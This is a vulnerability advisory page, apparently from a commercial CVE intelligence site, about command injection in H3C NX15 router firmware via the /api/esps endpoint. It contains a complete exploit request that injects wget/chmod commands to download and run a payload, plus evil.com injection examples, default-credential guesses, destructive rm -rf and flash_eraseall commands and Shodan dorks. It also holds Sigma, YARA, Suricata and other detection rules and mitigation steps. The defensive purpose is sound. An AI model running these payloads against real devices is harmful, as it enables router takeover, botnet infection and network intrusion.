☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
H3C logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-18811

CVE-2026-18811 Command Injection in H3C
📅 PUBLISHED: 2026-08-04 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: NX15 V100R017 (and potentially other H3C NX15 firmware versions)
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-18811 is a high-severity command injection vulnerability in the H3C NX15 wireless router firmware version V100R017. This flaw resides within the Add function of the /api/esps endpoint, where improper sanitization of the esps.filter.url argument allows an authenticated remote attacker to inject arbitrary operating system commands. Successful exploitation grants an attacker complete control of the router with high-privilege (privileged) access, enabling full device compromise, setup of persistent backdoors, and potentially leveraging it as a pivot point into the broader network. With a CVSS v3.1 base score of 7.2, this vulnerability represents a critical risk for any organization that has deployed the H3C NX15 in a production or SOHO environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The H3C NX15 is a dual-band Wi-Fi 6 router targeted primarily at small-office/home-office (SOHO) consumers and branch offices. The vulnerability is triggered via a crafted HTTP request to /api/esps—an API endpoint likely used for managing the Enhanced Software Package Services (ESPS), an H3C-proprietary feature that handles firmware update checks or plugin configurations.

Vulnerability Mechanism: The Add function within the endpoint processes a JSON request body containing the esps.filter.url parameter. This parameter is supposed to specify a URL that the device should query for particular data. However, the application fails to validate or sanitize the input before the value is passed to a system-level function (e.g., popen() or system() in C, or an underlying shell call in a CGI script) to fetch the URL.

An attacker is able to inject arbitrary shell commands by appending shell metacharacters (;, |, &&) followed by the command they wish to execute. For instance, a parameter value of http://evil.com/$(reboot) or http://evil.com/;id would cause the operating system to execute the injected command with the privileges of the application process.

Attack Surface: The vulnerable endpoint resides in the management web interface (typically listening on port 80/443). While authentication is required (hence the CVSS Privilege Required (PR) score of High), attackers may obtain valid credentials through:

  • Default credentials: H3C routers often ship with admin/admin or admin/password default credentials.
  • Credential stuffing: SOHO router admins frequently reuse credentials exposed in other breaches (e.g., LinkedIn, Adobe, etc.).
  • Lateral movement: If the router is managed from a compromised internal host, the attacker already has the admin username/password.

Since the web console is often exposed to the internet on port 80/443 (or 8443 for management), successful exploitation does not require direct physical access.

Code-Level Explanation: This is a classic OS Command Injection (CWE-78) falling under the umbrella of CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component). The application likely builds a command string such as wget -q <user_input> -O /tmp/tmpdata and passes it to a shell. Without proper input validation, the shell interprets appended metacharacters as new commands.


Exploitation Scenarios

Given that the exploit is public, we can describe a highly probable attack chain.

Step 1: Reconnaissance and Target Identification An attacker scans broad IP ranges (e.g., via Shodan, Censys, or mass scanning of /0) for devices with HTTP headers or banners identifying them as H3C NX15 (e.g., Server: H3C or portal pages with "H3C" branding). Specific dorks like http.title:"H3C" are effective. Once identified, the attacker will attempt to access the device's login page on port 80/443.

Step 2: Gaining Authenticated Access The attacker attempts to bypass authentication or guesses credentials. For a device exposed to the internet:

  • Default credential attack: The attacker tries admin:admin or admin:h3c@n0nx15.
  • Credential stuffing: If the attacker holds previously breached credential pairs, they are replayed against the management interface.
  • If Multi-Factor Authentication is not enabled (it rarely is on such routers), a successful login grants the privilege required to trigger the command injection.

Step 3: Triggering the Vulnerability The attacker crafts a request payload:

POST /api/esps HTTP/1.1
Host: <target-ip>
Content-Type: application/json
Cookie: <session-cookie>

{
   "method": "add",
   "params": {
        "esps.filter.url": "http://192.168.5.5/check/h3c.conf; wget -O /tmp/ha http://192.168.5.5/payload; chmod +x /tmp/ha; /tmp/ha &",
        "esps.filter.enable": "1"
   }
}

Here, the esps.filter.url argument is http://192.168.5.5/check/h3c.conf; wget ...; chmod ...; /tmp/ha &. The shell interprets the ; characters, executing the subsequent system commands. This allows the attacker to download and execute a malicious payload, all while chaining commands in a single request.

Step 4: Payload Execution and Post-Exploitation

  • Backdoor Deployment: The attacker has the router fetch and run a persistent botnet client (e.g., Mirai variant) or a reverse shell connecting back to a command-and-control (C2) server.
  • Lateral Movement / Pivoting: The compromised router now acts as a pivot. Using iptables or routing table changes, the attacker can forward traffic from the external interface to internal LAN hosts, probing other devices (printers, IP cameras, NAS devices) on the internal network.
  • Data Exfiltration: LAN traffic can be sniffed via tcpdump or tcpflow to capture unencrypted credentials/SNMP strings.
  • Device Bricking: As a denial-of-service tactic, the attacker can run flash_eraseall or rm -rf /* to brick the device, impacting availability of the local network segment.

Impact Assessment

Confidentiality Impact (High): The attacker gains root-level access to the router's filesystem, allowing exfiltration of configuration data (Wi-Fi PSKs, VPN credentials, network topology). Network traffic can be intercepted.

Integrity Impact (High): The router's firmware can be modified to perpetually host malicious content (e.g., fake DNS responses, injected scripts) for LAN users. The attacker can also alter network routing.

Availability Impact (High): The attacker can crash the device or exhaust resources, causing network outages for the SOHO environment.

Blast Radius: Directly affected are the H3C NX15 devices (version V100R017) and the immediate network segment behind them. Because the router is the gateway, all downstream devices and users are compromised should an attacker exploit this vulnerability. The attack is not restricted to a single host; it facilitates further lateral movement into the corporate LAN if the router is used in a remote office/branch setting.

CISA KEV: This vulnerability is not yet listed on the Known Exploited Vulnerabilities catalog.


Detection Guidance

The following detection rules help identify attempts to exploit this vulnerability.

Sigma Rule

title: H3C NX15 Command Injection in /api/esps
id: 3a48c43e-8b9e-4b5a-9a2d-4c19ffa4e3b7
status: experimental
description: Detects HTTP requests to /api/esps containing suspicious shell metacharacters in the esps.filter.url parameter.
author: ValtersIT SOC Team
date: 2026/01/01
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    category: webserver
    product: generic
detection:
    selection_path:
        http.url: contains '/api/esps'
    selection_payload:
        http.body|contains:
            - 'esps.filter.url'
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection_path and selection_payload
falsepositives:
    - Legitimate use of URL parameters with semicolons (rare)
level: high

YARA Rule

rule H3C_NX15_Command_Injection_Attempt
{
    meta:
        author = "ValtersIR"
        description = "Detects HTTP payload strings targeting H3C NX15 /api/esps"
        date = "2026-01-01"
        cve = "CVE-2026-18811"
    strings:
        $path = "/api/esps" ascii nocase
        $param = "esps.filter.url" ascii nocase
        $semicolon = ";" ascii
        $pipe = "|" ascii
        $dollar = "$(" ascii
    condition:
        $path and $param and any of ($semicolon, $pipe, $dollar)
}

Suricata IDS Rule

alert http any any -> any any (msg:"H3C NX15 /api/esps Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/esps"; http_uri; content:"esps.filter.url"; http_client_body; pcre:"/(\x3b|\x7c|\x24\x28|`)/Ui"; classtype:attempted-admin; sid:202618811; rev:1;)

Elastic Detection

sequence by host.id, agent.id with maxspan=5s
[ network where process.name : ("nginx", "lighttpd", "httpd") and network.protocol : "http" and event.action : "http_request" ]
| where network.bytes : "*api/esps*"
| where process.command_line : "*esps.filter.url*"
| where process.command_line regex~ ".*[;|\u0024(].*"

Splunk SPL Query

index=web sourcetype=access_combined status>=400
| where uri_path="/api/esps"
| rex field=_raw "esps.filter.url\=(?P<url_param>[^&\s]+)"
| where url_param LIKE "%\x3b%" OR url_param LIKE "%|%" OR url_param LIKE "%$(%"
| table _time, src_ip, dest_ip, uri, url_param, status

Wazuh OSSEC Rule

<rule id="100188" level="15">
  <decoded_as>apache</decoded_as>
  <match>/api/esps</match>
  <regex>esps\.filter\.url=.*(\;|\||\$Q|`)</regex>
  <description>H3C NX15 Command Injection attempt detected</description>
  <group>web_attack, command_injection, cve-2026-18811,</group>
  <mitre>
    <id>T1059.004</id>
  </mitre>
</rule>

Mitigation & Patch Guidance

IMPORTANT: Patch confidence is 0/4 — UNPATCHED. No Official patch is available from H3C as of this report; however, mitigation strategies are critical to reduce risk immediately.

  1. Immediate Mitigations:

    • Restrict Management Access: Disable remote access to the web management interface on the WAN side. Only allow management over the LAN or via a VPN IPsec/SSL tunnel.
    • Change Default Credentials: Immediately update router admin password to a long, unique, complex passphrase. Disable password-less/Telnet access.
    • Access Control Lists (ACL): Have the ISP/upstream router or firewall block inbound requests to port 80/443/8080/8443 that originate from untrusted external IPs, specifically from outside your organization's IP range.
    • Disable WAN-Facing Services: Check if you can turn off the api/esps feature or disable the "remote management" checkbox entirely.
  2. Patch/Upgrade Steps (when available):

    • Monitor H3C’s official website (www.h3c.com) and the vendor-supported firmware release forum.
    • Subscribe for security bulletin notifications.
    • If a patched firmware version (>= V100R018) is released, download and apply it via the local management interface.
    • Back up configuration before upgrade and perform a factory reset post-upgrade to clear any potential backdoor.
  3. Long-Term Hardening:

    • Segment network zones: place the router in a DMZ or dedicated management VLAN.
    • Use centralized syslog for router event logging; enable logging for all admin actions.
    • Regularly audit the router for unauthorized firmware, settings, or sessions.
    • If used as a device in a critical branch, replace it with a vendor with a stronger vulnerability disclosure history (e.g., enterprise-grade firewall/router) if possible.

References

While no official campaigns have been publicly tied to this CVE at the time of writing, the public availability of the exploit demonstrably increases the risk of widespread adoption by IoT botnets (e.g., Mirai variants). ValtersIT assesses with moderate confidence that exploitation in the wild will be observed within 90 days, particularly targeting devices exposed to the internet.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"H3C" port:80,443
http.title:"H3C"
http.html:"H3C NX15" port:80

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-18811/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.